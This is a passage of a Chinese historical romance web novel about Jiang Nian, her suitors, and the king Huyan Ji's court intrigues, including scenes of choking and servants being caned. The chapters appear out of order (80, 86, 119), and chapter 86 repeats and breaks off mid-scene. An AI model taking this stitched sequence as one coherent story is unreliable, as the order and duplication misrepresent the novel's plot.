江念一手捉裙,一脚刚踏上椿凳,石儿禄从后面走来,叫住她:“阿念,坐什么马车,我给你准备了小马,骑着马儿才得趣。”
江念扭头看去,就见年轻男子牵了一匹枣红色的小马,油亮的毛发,脖子上挂着摇铃,脾气看起来很温和。
其实比起坐马车,她更愿意骑马,从前还是江家女郎时,便会在奴仆的簇拥下奔至野外,御风骑射。
“不了,我还是坐马车……”
“哎呀,你明明想骑马。”石儿禄知她有些顾虑,怕拂了安努尔的好意,便掉过头看向安努尔,“兄长,她是你的伙计,听你的安排,你说罢。”
尽管安努尔希望她坐马车,可说出来的话却是:“不打紧,你想骑马便骑马,自在些,不用顾虑什么,出来玩以开心为要。”
江念双目微亮,一手抚上马首,然后拍拍马项,将裙摆掖于腰间,接过马辔,翻身上马,动作干脆利落,十分飒爽。
石儿禄招手让仆从牵过自己的花鬃马,撩衣上马,驱马前行,随在江念身侧。
落于人后的松赞见此架势,暗暗摇了摇头,谁能料到这两人居然会为了一个女人对上。
只是不知最后谁输谁赢,谁能抱得美人归……
一行人往城外行去,出了城门,周围的雾气就散了,阳光轻飘飘洒下来,又是一片金色调。
江念眸光震颤,看着眼前的旷景,终于知道夷越男女为何骨子里透着原生的逆野。
四野绿莹莹一片,深绿爱浅绿,连绵出绿色的高低起伏,汩汩的溪流作纽带,从他们脚下逶迤而去,同天边的群山相连,而天边的群山又将这片土地同天空相连。
这些是她从没看过的,哪怕那次同呼延吉前往衡炀的路上,她亦没见过这么美的景,美得不太真实。
肥沃的土地上散布着灰白石垒成的房屋,隐隐可见有人进出。
原来这就是呼延吉惜爱的土地啊!
一行人找了一片可憩坐的地方,下马安顿。
松赞的两房妻室分别搀扶着仆人下了马车,江念有些好奇地看了几眼,两个女人都还年轻,一个清丽多些,一个妩媚多些。
梁国男人内宅是一妻多妾,夷越男子不兴那个,是以,江念好奇两个地位相当的女人怎能安然共处。
只见两个女子先是看了她这边一眼,其中一个低头对另一个笑着说了什么,另一个也跟着笑起来。
江念收回眼,秋月上前将她手里的枣红小马牵到一边拴住。
安努尔走了过来,垂尽的余光中尽是女人的侧颜:“这景如何,还能入眼否?”
“入了眼。”江念喃喃说道,“安阿兄,有一事我想同你说。”
“何事。”
江念抿了抿唇,略略钝圆的唇形这么一抿添了丝俏皮:“我其实没有失忆,哄骗了你。”
男人轻笑出声,那声音随风荡开:“不意外。”
“你已知晓?”
“失忆之人源于好奇,总会想着探寻从前,可你好似有意回避,这就有些不同寻常,不过嘛,每个人都有自己的秘密,从前的不开心若能不记得,不失为一件幸事。”
从前的不开心么?那倒也不尽然。
不知怎的,安努尔觉着女人的眉尖染有点点轻愁,不知这愁从何处来,连这景都无法化开。
“阿念——”爽朗的男声远远叫道,就是这么一刹那,女人的轻愁散了,没了,消失了。
石儿禄快速走来,立在不远处向她招手,让她过去。
江念快步朝另一边走去,走了几步似有所觉,回头看向安努尔,笑道:“安阿兄,我过那边去。”
安努尔微笑着点了点头,可在女人转身后,那无味的笑便收了起来……
第80章 朝思暮想的人
他看见石儿禄走到她的身边,一脸笑意不知同她说了什么,她也跟着笑起来,他从没见过她笑得这样开心,然后两人并肩走到溪水边,女人敛衣憩坐于一块大石上,石儿禄则殷勤地来回跑。
江念慌得连连摆手,却抵不住男人一颗想要奉承的心。
一会儿给她送果子,一会儿给她送奶酥,等肉烤好了,又将肉端送到她的身边。
他亦看得出来,石儿禄是动了真心,不动心的话,石儿家的小郎何至于做到这个份上。
安努尔忽然生出一种错觉,是不是自己太老了,同石儿禄相较,他没有他那样的鲜活气,明明是他先认识她,石儿禄才认识她几日,就能得她这般笑脸。
他亦看得出,她是真的开心,她看向石儿禄的眼神和看向他的不同,那眸光有些曲折,好似在透过石儿禄看另一人,安努尔苦笑一声,定是他多想了。
“阿念——追上来——”男人远远喊道。
安努尔循声看去,就见女子骑着枣红小马,一手擎马鞭,一手执辔,在青绿的原野御风飞奔,纤腰随着颠簸划出流畅的弧度,她的前面是扬鞭纵马的石儿禄,男人蓄力的背,如张满的弓,一男一女,一前一后,肆意飞驰。
江念好久没有这般畅快过,双腿夹紧马腹,拍马跃上一山坡,勒转马头,立于坡上。
一阵风来,绿香拂过,吹得她眯起眼,那一头乌发在风中飘扬涤荡。
安努尔和石儿禄谁也不愿退让,兄弟仍是兄弟,可女人……谁有本事就是谁的。
然而,两人却不知他们真正的对手并非彼此,而是另有其人……
……
接下来的时日,石儿禄有事无事便会跑到四季轩,借着买香料的由头找江念搭话。
江念忙起来便不太理他,他也不恼,就安静地守在她身边,她若是抽出空来,回他几句话,那一日他的心情就会格外地好。
试想想,一个心底朝思暮想的幻影突然有一日真真实实地出现在你面前,还不是刻意寻来的,若是特意寻到的,反倒没那么让人惊喜,出其不意的偶遇总是令人心动,而江念在石儿禄的生命里出其不意了两次。
第一次遇见,她在他的生命里埋了种,第二次遇见,她破土而出。
安努尔此刻万分后悔,那时不该让她离开安宅,不过现在后悔也晚了。
“安阿兄?”
一个声音将安努尔的思绪打断,扭头去看,江念立在珠帘另一边,似是有话说。
店掌柜一面盘算账目,一面忍不住抬眼偷觑,从前东家不常来四季轩,如今三日里倒有两日来往店中。
安努尔微笑道:“进来。”
江念拨帘走到里间,扫了一眼桌面上的账本,然后从腰间抽出荷包,双手递到安努尔面前:“这是我在店中领的月钱,我自己留了一小部分,余下的给你,多亏你帮我找了那院子,之前身上拮据,你替我垫付了,现下我能还一些是一些。”
安努尔在那荷包上盯了好一会儿,嘴角虽然带着笑,可那笑有些别样的意味:“阿念这是打算同我清账了?”
江念并未多想,觉得欠债还钱,天经地义,他帮了她,她不能理所当然的安享,安努尔不差这点小钱,她却不能黑不提白不提。
安努尔缓下语调,将荷包接过,微笑道:“好,那我收下了。”
江念就要转身离开,安努尔的一句话却生生拉住了她。
“阿念,你是不是喜欢石儿禄?”
江念一怔,也就是这一怔,安努尔的心沉到了底,虽然之后她否认了,然而在他看来那不过是女儿家难为情的掩饰罢了。
待江念走后,安努尔细细摩挲着手里的荷包。他从前就是不够狠绝才错失心爱之人,这一次他要不惜一切抓住。
……
这日,更深夜静,江念再次被惊醒,因之前院子里进过贼人,从那之后她睡得比较警醒,有一点响动便会醒来。
扭头看去,窗上映着一个模糊的黑影,确认这黑影是人影后,她的心开始狂跳,抖擞着双手从枕下摸出一包迷香粉,然后蹑手蹑脚躲到门后,屏息等待着。
门闩被那人从外顶掉,接着门扇缓缓开启,贼人刚一探身入房,江念算准时候,一手捂着口鼻,一手将迷香粉朝贼人撒去。
不承想那人也蒙了面,根本没吸入迷香粉,不过好在有部分粉末撒进了他的眼。
那人本就作贼心虚,骤然之间眼睛又糊了,心慌之下夺门逃走。
这一夜,江念是真被吓到了,她不敢想若她没有及时醒来,接下来会发生什么事,之后再没入睡,就那么披衣呆坐到天亮。
“阿姑怎么坐在院中?”秋月起身敲响江念的房门,不见回音,这才走到院中,见她不答话,再一看,哎哟一声:“这是怎么了,眼下都青了。”
女人怀里抱着木棍,双眼要睁不睁的样子。
“这……不会昨夜又闹贼了?!”秋月忙不停地给江念系好衣衫,正准备将她搀扶进屋,此时院门被敲响。
秋月只得前去开门。
一开门,门外站着石儿禄,手里还提着两个油纸包,见了秋月笑问道:“你家主子呢?”
秋月忙将人迎进来,朝一个方向努了努嘴。
石儿禄看去,只见女人云鬓蓬松,神思恍惚地坐在那里,怀里还抱着一根长棍。
“怎么回事?”男人两步上前,放下手里的油纸包,蹙眉问道。
江念似是才缓过神,强打起精神:“石儿郎君怎么来了?”
“东市有家早点不错,今儿特意起早,给你买了早点来。”石儿禄提起油纸包在江念面前晃了晃。
大多数夷越男子若是喜欢一个女子,便会大胆并热烈地表露出来,江念自然察觉到石儿禄对她有意,她曾向他表示过,让他不要在她身上费心。
然而并没起到作用,她的冷待熄灭不了他心里的火,他仍是往她身边凑,有时候江念就想,在这一点上,石儿禄和那人还真是像,特别是笑的时候。
“有劳郎君了,我需得去店里上工。”江念请他随意坐,让秋月待茶,自己进到屋里简单梳洗一番。
江念收拾好后从屋里出来:“我要去店里了,你再坐一会儿?”
“我又不是没地方坐,专挑你这小院儿坐?特特起了个大早给你买吃食,你看也不看。”
江念见他那样子,有些想笑,只好找个理由:“我一向早上不吃的。”
说罢接过秋月递来的热茶,喝了两口。
男人见她要走,忙随在她的身后:“我送你一程。”
“不必了,走几步就到。”
石儿禄咧嘴笑道:“那我陪你走几步,或是你陪我走几步。”
江念笑着摇了摇头,不去管他,出了院门往街市行去,石儿禄就那么不近不远地跟着,也不说话,也不去扰她。
四季轩离桂花巷不算远,不一会儿就到了,石儿禄送她到店门前,看着她进去,然后快步离开。
他没有回自家府宅,而是返回桂花巷。
“你家主子怎的一大早精神那般差。”
秋月便将院中闯贼的事说了:“这贼人来了不止一次,加上这次已是第二次,成日让人提心吊胆,住着也不安省。”
石儿禄点了点头。
彼边,四季轩……
“天爷!你怎么搞的,这檀香和沉香的料子你可曾用清酒浸泡过?”一个粗嗄的声音响透香料铺。
制香的老巴又捡了一块料放到鼻下猛嗅,嘴边的两撇胡子都要被他吸进鼻腔里似的。
江念才来时便是跟着他学习调制香料。
后来江念根据香谱上的配比,再加上实践,无需他照看也能独当一面,老巴就一直耿耿于怀。
从前江念询问他,他不耐烦说,哪怕说了,也是兜兜绕绕不知所谓,如今江念不问他了,他对江念更加厌恶,横竖看不惯。
今日好不容易挑了她一个错处,便要嚷得尽人皆知,正巧东家也在店里,好叫东家知道这女人是个没用的浑货。
江念因昨夜一宿没睡,精神恍惚,头目昏沉,调制宫廷香时便忘了浸泡檀香和沉香。
“我这就拿去泡。”江念说道。
老巴不依不饶:“说得轻巧,拿去泡?今儿这是我看见了,往日没看见之处,不知弄错了多少!怪道我说连日来客人少了。”
江念身上开始发冷汗,昨夜本就受了惊吓,耳边又是男人聒噪的声音,一时竟有些立不住,身子晃了晃,正巧此时一个力道从后撑住她。
“昨夜没好睡么?面色看着有些差。”
一边的老巴见东家来了,立马舔脸笑道:“东家来了,这个梁女……”
安努尔抬手轻轻一摆,示意他下去。
老巴准备好的说辞哽塞在喉,却又不得不转身离开。
“安阿兄,平日不像这样,实是今日身体有些不适。”江念说道。
男人没有半分责怪的意思,言语中尽是关心:“我找个大夫来给你瞧瞧罢。”
“不必,没有病症,只是昨夜没睡好。”江念连连说道。
安努尔细细看了她的面色,眉头蹙起:“昨夜院中又闹贼了?”
江念点了点头。
那日安努尔说过,这贼定是摸清了她的境况,知她院中无男人看护,第一次不得手,还会再来第二次,果然,昨夜真就来了,照这样下去,那贼人肯定还会再来。
“我倒有个主意,只是不知你是否愿意。”安努尔说道。
“安阿兄但说无妨。”
“你先暂住我府宅中,我安排一个护卫住进你那小院,待贼人抓获,彼时你若想搬回,尽可安心搬回,只是不知你的想法如何。”
江念思索片刻,有些拿不定主意,俗话说,只有千日作贼的,哪有千日防贼的,正待应下,一道轻蔑的嗤笑声从门外响起……
第86章 别玩儿
呼延吉就那么当着众人的面,一把擒住朵氏的颈脖,缓缓施力,一点点攥紧:“我最恨有人在我背后搞鬼,证据?理由?本王要你的命可不需要理由。”
朵氏双眼鼓瞪,喉咙发出破风声,好看的指甲在男人的手背划出血痕。
呼延吉将人往旁边一搡,妇人颓倒在地,一头鬈发蓬松散开,略显狼狈,一手撑着地面,一手抚上咽喉处,猛地汲取空气,等缓过气来,哑着声音哆嗦道:“大王这是要杀我?就不怕朵氏一族找大王讨要说法?”
似是听到极好笑的笑话,呼延吉低笑出声:“你刚才不是问我要证据和理由么,那我现在反问你,我杀你的证据呢?谁看见了?”说着,转头瞥了一眼周围,扬声问道:“你们看见什么了?”
殿内宫婢和宫奴们齐齐发声:“奴才们什么也没看见。”
朵氏冷汗涔涔,胸口因呼吸不稳而剧烈起伏。
呼延吉又道:“本王现在再问你,还要理由么?还要证据么?”
朵氏浑身一颤,一张脸已经不能看了,可这还不算完,却听男人又道:“知道我为什么留你在王庭,连东殿都让给你住。”
朵氏已经完全答不上话,颈上的手虽然撤掉,可那个如同烙铁一般的力道仍无形地掐着她的咽喉。
面前的这个人她不认识,完全不认识。
“啧——不愿再嫁?替我大哥守洁?你不会真以为我信了你的鬼话罢?”呼延吉撑额闷笑出声,笑声越来越大,越来越邪性,“见你演得那么真切,本王都要替你鼓掌。”
男人探手钳住女人的下颌,将她拉向自己,凑到她的耳边低声道:“老老实实在东殿做你的大妃,不要给我玩任何花样,否则……下去陪我大哥,嗯?”
女人涕泗横流,颤抖着点头,哪还有半点平日里的华贵艳丽。
呼延吉将手从女人的下颌松开,嫌弃地甩了甩手上的泪渍,懒懒地伸出手,一旁的木雅立时上前替他拭净手指。
待呼延吉走后,朵氏仍呆坐在地上,魔鬼!这就是个魔鬼!原来他什么都知道,他知道她的伪善,从一开始就知道,一直当一个看客,看着她惺惺作态。
她终于明白,为何他明知她的心思,却始终不拆穿她,还把她留在王庭,将东殿让给她住,让宫人们继续尊她为大妃。
她是朵氏一族的女子,如果她离开王庭,五大上姓必会再送族中女子进王庭,同皇权盘结,是以,呼延吉同她虚与委蛇,用她这个“**”堵住口子,看似是她利用他,实则是他在利用她,她成了他的幌子。
如此一来,他便可以不受五上姓的掣肘,争取更多的时间,加固皇权,他在下一盘棋,一盘推翻夷越上姓门阀的博弈。
朵氏越想越心惊,所以说,当初就算她不借口留下,呼延吉也一定会想办法将她留下。
从头到尾,她只是一枚棋子而已,那时的呼延吉才多大,一个不过十五岁的少年!
太可怕了,这人太可怕了!怎么可以伪装得如此好,朵氏甚至觉着不止她一人,这天下之人都是他手里的棋子,他会利用所有能利用之人,达到他的目的,而被他利用之人却蒙在鼓里,完全不知情。
呼延吉回到议政殿,召来右大臣,兀良哈,此人出身“五大上姓”之下的世家,兀良一族,同左大臣,朵尔罕,并称夷越左右大臣,统领百官。
“王,兀良大人来了,已在殿外。”丹增说道。
“请兀良大人进来。”
丹增应下,出殿将人迎了进来。
只见来人须发花白,明明是文官,却生了一副武将的魁伟貌,身高体大不说,宽颌脸,双目炯炯,红光满面。
呼延吉忙令道:“给兀良大人赐座。”
丹增挥开预备上前的小宫监,亲自搬来一张大椅,然后命人上了茶水,最后带着一众宫侍退出殿外。
“兀良阿叔近日身体可好?”私下里,呼延吉便改了称呼。
兀良哈朝呼延吉一拜,脸上笑着:“多谢大王体恤关心,老臣身体比那三十岁的男子也不差什么。”
这二人看着不像君臣,更像叔侄,其实这里面有一层故事。
当年呼延吉之兄呼延成,有一极为心爱女子,那女子便是兀良哈之女,每当呼延成出王庭,呼延吉便知兄长要去兀良家,于是缠着兄长带他一起。
然而,呼延家历来大妃之位皆出自“五大上姓”。
再说这“五大上姓”,相互间明争暗斗,可一旦触碰冒犯到他们整体的利益之时,又齐心合作对外。
那个时候,呼延成不顾“五大上姓”家族反对,终是娶了兀良哈之女,兀良慈,后来呼延成承继帝位,兀良慈封为大妃,然而世事难料,兀良慈出王庭归家的途中出了意外,香消玉殒。
呼延成思妻成疾,没几年也去了。
所以呼延吉对兀良家自与别家不同。
呼延吉笑道:“兀良阿叔老当益壮,比之我也不差什么。”
兀良哈笑着摇了摇头:“王又哄老臣开心,老臣这点自知之明还是有的。”笑过后,拈髯道,“大王召老臣来,定是有要事吩咐。”
“我需离庭数月,不在的这段时日,还需阿叔替我费心。”
夷越阶层分明,最上是王权,王权之下是五大上姓,五大上姓之下才是世家,世家被五大上姓压制,两方积怨已久,暗中兵戈。
呼延吉便给夷越世家相应扶植,再利用分权制衡,从而牵制双方派系。
兀良哈从座上起身,正了面色,向上躬身道:“大王示下,老臣自当竭力。”
呼延吉“嗯”了一声,又道:“若有不能处置之事,阿叔可让丹增给我去信。”
兀良哈应诺。
……
呼延吉回了西殿,走至寝屋内,从书架取出绿皮书,随手翻了一翻,不知想到什么,招来木雅,吩咐了几句,木雅得令去了。
大膳房灶上一直备着热食,因只需负责西殿、东殿和祥云殿这三个大殿的日常饮食,所以看起来不像小膳房那样忙乱,然而,看似清闲之下却是更严格精细的把控。
君王归来,大膳房早早备上美味珍馐,只等传膳。
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“阿星,你这几日怎么回事,老是心不在焉,这样怎能做事。”一个膳房的胖妇人说道。
此人是大膳房的管事阿姆。
阿星不语,拿了一块抹布擦拭着台面。
胖妇人抿了抿嘴,见她那样也不好再说,阿月的事他们也听了些,只知道犯了事,也不知道现下如何了。
“阿姆,你在王庭待的时日比我们久,你说阿月不会有事罢,她都多少日没回屋了。”阿星忍不住问道,如今房子里只有她、珠珠和拉措三人。
还有……她也担心阿念,这段时日里尽是事,尽是不好的事。
那日前殿传召珠珠,落后她问小丫头,小丫头嘴巴严实,无论她怎么问,她都不说。
不过她隐约猜到,阿月被关肯定同阿念有关,又或是阿念的失踪跟阿月有牵连。
那日她们三人一同出王庭,回来时只有二人,阿念不知去向,一个人不见了,这事是瞒不住的,没多久阿月就被带走,从那之后,她再没看见过她。
正想着,膳房进来一人,胖妇人见了那人,笑脸上前:“木雅掌事,是不是可以上膳了?”
木雅是大王的贴身侍婢,众人将她看成兰卓的接手人,行止间对她很是客气。
木雅端着脸,并未立刻回答,一双眼往膳房内扫视,最后看向一个方向。
“阿星,你来。”
阿星心里一紧,阿月被带走,这会儿是不是该轮到她了?心里虽害怕,可还是走到木雅面前。
“怎的了,我做错事了?”
木雅一笑:“那倒没有,你跟我去正殿。”
“去正殿?”
不止阿星惊异,连膳房其他人也好奇,这是要问责么?前面是阿月,后一脚就轮到阿星了。
然而下一瞬,木雅却说:“是,你不必惊怕,大王让你到他跟前伺候,快随我来,莫让王久等。”
一个膳房的烧火丫头进王殿?还是调到君王身边伺候?她们这些在膳房熬了大半辈子的婆子们也只敢在梦里想一想。
木雅领着阿星离开前,吩咐道:“可以摆膳了。”
阿星随木雅进到正殿,上正殿的台阶时,她都格外小心,怕自己的脚把地砖弄脏污,她来王庭为婢这么些年,还从未进过正殿,前一脚才入正殿,后一脚膳房开始传菜。
宫婢们手执托盘将菜一道道摆上桌,那是一方顶精贵的圆桌,她的眼睛看向桌布垂下的金黄穗子,心道,这一小撮穗子可能比她的命还值钱。
就在她胡思乱想间,周围的空气骤然变静,她知道,这座宫殿的主人来了。
呼延吉一路飞马赶回王庭,三两日的路程没怎么停歇过,才一落脚王庭,便是审人问讯,直到这会儿才闲下。
阿星听见侍婢们挪动座椅的声音,她不敢离得太近,远远地垂手立在那里。
“你叫阿星?”
那冷冽略带力量感的声音响起时,阿星的心跟着漏了一拍,不敢相信这声音在对她说话。
“回大王的话,是。”
接着那声音又道:“跟在我身边罢……”
第119章 你身上怎么这样好闻?
呼延吉特意下了一个早朝,平时散朝后还会同臣下在议政殿坐一会儿。
今日提前散朝,一出大殿径直来了祥云殿,也不让人通传,就阔步走了进来。
他就见那道纤薄的身影,腰板挺直地跪在殿中,碎光斜在她的头身上,落在她周围的地面,空气里还有蓝色的灰尘打着旋。
她在笑声里显得那样安静。
呼延吉的心狠狠地抽了一下,在他的印象中,江念不是这样,她变了,那并非一种值得让他高兴的改变。
他将她捧在手心,江家人将她捧在手心,这种躬身下的顺服,不是她,那不是她该有的姿态。
因为他,一切都是为了他……
江念将笑声隔开,沉在自己的思想里,连上首的笑声几时停的也不知,当她感知到时,手臂上多了一个力道,将她从地上拉起。
她回望过去,不是别人,正是呼延吉,此时殿中人除了高氏,俱伏地跪下。
他环护着她走到一侧的座椅边,轻声道:“阿姐,坐下。”
江念不知他怎么这个时候来了,预感接下来有事要发生。
待江念落座后,呼延吉走到高太后右手边的上座,撩衣坐下。
高氏到底有些心虚,不知他是何意,开口道:“梁妃过来请安,现下大王来了,把人带回罢。”
呼延吉缓缓点了点头,并不看高氏,开口道:“本王坐了这一会儿,连个上茶的人都没有,母后殿里的人好大的架子!”
伏跪的众人心底大叫冤枉,大王您不叫起身,咱们这些人哪个敢动?既然不能动,又如何给您上茶水?
众人心中叫苦,却听上首君王一声吩咐:“来人!”
立时从殿外进来十几名银甲亲卫,一进来,整个殿里的空气都往下沉。
“每人二十大棍,拉下去,打罢。”呼延吉将身子往后仰靠,闲闲说道:“儿子今日有时间,就在这里替母后教教奴才们规矩,儿子也知母亲最是讲规矩的一人,刚才隐约听到《内训》二字,虽未拜读过,不过从那字面便知,内训!内训!就是从内部开始教训。”
高氏听后,两眼直瞪瞪,差点喷出一口老血,这小混账说的什么歪理?!
呼延吉不睬她,淡漠道:“开始罢。”
亲卫将殿中的奴才一个一个往外拖,只听得殿外棍子落在肉上的“啪,啪——”声,又清脆又响亮,却听不见人声,只因亲卫怕扰到君王,便将宫人的嘴塞住,不让其发出声音。
高氏气得脸色发青发灰,两腮松弛的肉打着颤儿,这哪是在打那些奴才们,这是在打她的脸呐!
外面的每一声,都结结实实地落在她的脸颊上,火辣辣地烧疼。
朵妲儿同朵氏仍伏跪在地。
斜光中,朵妲儿发现地上零星的影闪闪晃动,不知是什么东西,遂抬眼看去,惊了一下,那晃动的东西是长姐头上的坠苏,坠苏晃动是因为人在发颤。
她那位一向高高在上的长姐居然止不住地颤抖。
朵妲儿心惊,怎的怕成这样?
江念展眼看去,整个殿中,只有三人坐着,那三人便是上首的高太后、呼延吉,还有下首的她。
再就是不时进出的亲卫,把跪伏在地面的祥云殿宫人架出去。
她望向呼延吉,想要起身说两句,毕竟宫人们无辜,却见呼延吉暗中朝她压了压手,只好静静地端坐在那里。
她明白,他这是故意惩戒祥云殿的宫人压高太后的气焰,如此大动干戈,也是为了让王庭所有人知晓,让所有人看清,她的背后有他,她不是可以被随意对待的,他在给她做脸。
“逆子!逆子!”高太后拍着椅扶,气骂道。
“母亲莫要动怒,为我这么个逆子气坏了身子不值当。”呼延吉的语气很是随意。
殿外的刑杖声还在继续,殿里的宫奴已被拉出去七七八八,此时从外进来两名亲卫,走到高氏身侧立住脚,没有丝毫迟疑地将高氏身侧伏跪的一人拉起。
正是高氏跟前的女官,金掌事。
一向严肃寡面的金掌事这会儿面色也变了,意识到这次君王是真的恼了。
从前大王来祥云殿,哪怕圣太后不待见王,王并不在意,态度依旧恭敬,如今却为了梁妃公然威压太后。
她一把老骨头真要挨上几板子,板子还未打完,估计就得断气,正想着,架在她两侧的亲卫突然松开手,就听大王说道:“今日就免了金掌事的责罚,你是太后跟前的老人,平日该多劝着她一些才是。”
金掌事吁出一口气,连连称是。
呼延吉看了眼地上的朵家两姐妹,再从她二人身上移开,起身,走到高氏面前:“人也教训完了,儿子告退,母亲千万保重身子。”
高氏不语,扬手往呼延吉脸上扇去,她对这个小儿子半分都近亲不起来。
她也坚信小儿子对她没有多少亲情,两人维持着表面的平和,不过是身份使然,当然了,这个身份无关乎母子情。
高氏恨透了梁国,她将大儿子的死归罪于梁,归罪于梁人。
所以她对自小在梁国长大的呼延吉,便看哪儿都不顺眼,看哪儿都是错,这种偏执全无道理,高氏却不管那么多,她认为呼延吉能回来,是呼延成用命换的。
不然为什么他明明有两个孩子,现在只有一个了,因为一命换一命。
妇人的手高高扬起,也不管身旁有无有人,一记重重的耳刮就要落在呼延吉的脸上,预料中的巴掌声没有响起,挥动的手被另一只手截住。
余下的众人听见异动,不免抬头看个究竟,截住太后之人正是一直未曾出声的梁妃!
众人无不震诧当场,尤其是朵氏两姐妹和金掌事,她们就在高氏身侧,纵然跪着,眼角的余光也能让她们获悉正在发生的事情。
江念躬下身,轻声道:“大王对太后一片孝心,然,即便太后是母亲,也不能
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逾越君臣之礼,我大梁不止有规范女子行止的《内训》,还有一书《礼记》,其上有言‘子虽尊,母不得以尊临卑’,大王若有不是,太后可劝谏,不可动手辱之。”
江念说完,殿中安静得可怕,只有殿外“啪,啪——”的杖责声,没一会儿,那杖责声也没了。
她清楚,这一举动势必会让本就不喜她的高太后对她更加厌恶。
呼延吉代表最高皇权,数番为这个国家出生入死,才得以定乾坤,方坐稳王庭,高太后公然对呼延吉羞辱,折损其威信,岂止伤及天颜。
五上姓觊觎在侧,若君王威仪有失,怎能御下?!
江念想不通,太后既是呼延吉之生母,为何要如此行事?她也并不知,自她上前,呼延吉的眼睛就落在她的身上,没移开过。
呼延吉当然不会受下这一记耳刮,他料到他母亲的举动,却没料到江念的举动,更不会想到她接下来说的那番话。
适才,他见她跪在殿中,挺直的腰还有微垂下的头,在光尘中寂然的背影,他说她变了,为了他,她变得乖顺,变得忍耐,可有一点,自始至终未曾变过,她仍是那个为了他可以奋不顾身,挺身而出的江家女郎。
高氏面皮涨红,嘴里连连说着“好,好,好”,显然气极,沉了两息,字从牙间蹦出:“我打不得他,还打不得你?!”
说着就要扬手,却被一个声音揿住。
“母后!”只这两个字,再没有别的了。
高氏从小儿子嘴里听出了一丝隐隐的威胁,这威胁她当然是不惧的,就算他为君,却不敢对她这个母亲怎样,这也是她的倚仗,小儿子不敢对她不敬。
然而,高氏千算万算还是算漏了一点,当着呼延吉的面对江念动手,已然触碰到呼延吉的底线,而呼延吉的那一声“母后”,她当时并未知晓其中的意思,待明了时已经晚了。
呼延吉带江念离开后,殿中众人仍不敢起身。
高太后怔愣着,小儿子离开前的那一眼蓦地让她心漏跳一拍,浑身窜起寒意,最后只能自我譬解,是她想多了。
……
呼延吉同江念回西殿,路上两人各自坐着乘辇,没有言语,待进了西殿,呼延吉挥手让人退下,殿中只他二人。
呼延吉走到露台处,坐到泉水边的玉矶上,招手让江念上前,江念便走到他的跟前,侧身坐下。
“手指还疼不疼。”
她将手摊出来给他看。
他拿起她的手,好一番端相,原本好看的指甲短了一截,应是当时剔青核果时劈折,后来回到西殿让宫婢给她重新修剪过。
指头还好,红肿褪去了些。
“怎么今日下朝这么早?”江念问道,其实她是想问,他怎么察觉出异常的,不然不会那么凑巧,俨然专为她去的。
呼延吉没有立即回答,而是往她身侧靠了靠,问道:“你身上擦的什么香,怎么这样好闻……”
第86章 别玩儿
呼延吉就那么当着众人的面,一把擒住朵氏的颈脖,缓缓施力,一点点攥紧:“我最恨有人在我背后搞鬼,证据?理由?本王要你的命可不需要理由。”
朵氏双眼鼓瞪,喉咙发出破风声,好看的指甲在男人的手背划出血痕。
呼延吉将人往旁边一搡,妇人颓倒在地,一头鬈发蓬松散开,略显狼狈,一手撑着地面,一手抚上咽喉处,猛地汲取空气,等缓过气来,哑着声音哆嗦道:“大王这是要杀我?就不怕朵氏一族找大王讨要说法?”
似是听到极好笑的笑话,呼延吉低笑出声:“你刚才不是问我要证据和理由么,那我现在反问你,我杀你的证据呢?谁看见了?”说着,转头瞥了一眼周围,扬声问道:“你们看见什么了?”
殿内宫婢和宫奴们齐齐发声:“奴才们什么也没看见。”
朵氏冷汗涔涔,胸口因呼吸不稳而剧烈起伏。
呼延吉又道:“本王现在再问你,还要理由么?还要证据么?”
朵氏浑身一颤,一张脸已经不能看了,可这还不算完,却听男人又道:“知道我为什么留你在王庭,连东殿都让给你住。”
朵氏已经完全答不上话,颈上的手虽然撤掉,可那个如同烙铁一般的力道仍无形地掐着她的咽喉。
面前的这个人她不认识,完全不认识。
“啧——不愿再嫁?替我大哥守洁?你不会真以为我信了你的鬼话罢?”呼延吉撑额闷笑出声,笑声越来越大,越来越邪性,“见你演得那么真切,本王都要替你鼓掌。”
男人探手钳住女人的下颌,将她拉向自己,凑到她的耳边低声道:“老老实实在东殿做你的大妃,不要给我玩任何花样,否则……下去陪我大哥,嗯?”
女人涕泗横流,颤抖着点头,哪还有半点平日里的华贵艳丽。
呼延吉将手从女人的下颌松开,嫌弃地甩了甩手上的泪渍,懒懒地伸出手,一旁的木雅立时上前替他拭净手指。
待呼延吉走后,朵氏仍呆坐在地上,魔鬼!这就是个魔鬼!原来他什么都知道,他知道她的伪善,从一开始就知道,一直当一个看客,看着她惺惺作态。
她终于明白,为何他明知她的心思,却始终不拆穿她,还把她留在王庭,将东殿让给她住,让宫人们继续尊她为大妃。
她是朵氏一族的女子,如果她离开王庭,五大上姓必会再送族中女子进王庭,同皇权盘结,是以,呼延吉同她虚与委蛇,用她这个“**”堵住口子,看似是她利用他,实则是他在利用她,她成了他的幌子。
如此一来,他便可以不受五上姓的掣肘,争取更多的时间,加固皇权,他在下一盘棋,一盘推翻夷越上姓门阀的博弈。
朵氏越想越心惊,所以说,当初就算她不借口留下,呼延吉也一定会想办法将她留下。
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呼延吉回到议政殿,召来右大臣,兀良哈,此人出身“五大上姓”之下的世家,兀良一族,同左大臣,朵尔罕,并称夷越左右大臣,统领百官。
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“请兀良大人进来。”
丹增应下,出殿将人迎了进来。
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兀良哈朝呼延吉一拜,脸上笑着:“多谢大王体恤关心,老臣身体比那三十岁的男子也不差什么。”
这二人看着不像君臣,更像叔侄,其实这里面有一层故事。
当年呼延吉之兄呼延成,有一极为心爱女子,那女子便是兀良哈之女,每当呼延成出王庭,呼延吉便知兄长要去兀良家,于是缠着兄长带他一起。
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呼延成思妻成疾,没几年也去了。
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“去正殿?”
不止阿星惊异,连膳房其他人也好奇,这是要问责么?前面是阿月,后一脚就轮到阿星了。
然而下一瞬,木雅却说:“是,你不必惊怕,大王让你到他跟前伺候,快随我来,莫让王久等。”
一个膳房的烧火丫头进王殿?还是调到君王身边伺候?她们这些在膳房熬了大半辈子的婆子们也只敢在梦里想一想。
木雅领着阿星离开前,吩咐道:“可以摆膳了。”
阿星随木雅进到正殿,上正殿的台阶时,她都格外小心,怕自己的脚把地砖弄脏污,她来王庭为婢这么些年,还从未进过正殿,前一脚才入正殿,后一脚膳房开始传菜。
宫婢们手执托盘将菜一道道摆上桌,那是一方顶精贵的圆桌,她的眼睛看向桌布垂下的金黄穗子,心道,这一小撮穗子可能比她的命还值钱。
就在她胡思乱想间,周围的空气骤然变静,她知道,这座宫殿的主人来了。
呼延吉一路飞马赶回王庭,三两日的路程没怎么停歇过,才一落脚王庭,便是审人问讯,直到这会儿才闲下。
阿星听见侍婢们挪动座椅的声音,她不敢离得太近,远远地垂手立在那里。
“你叫阿星?”
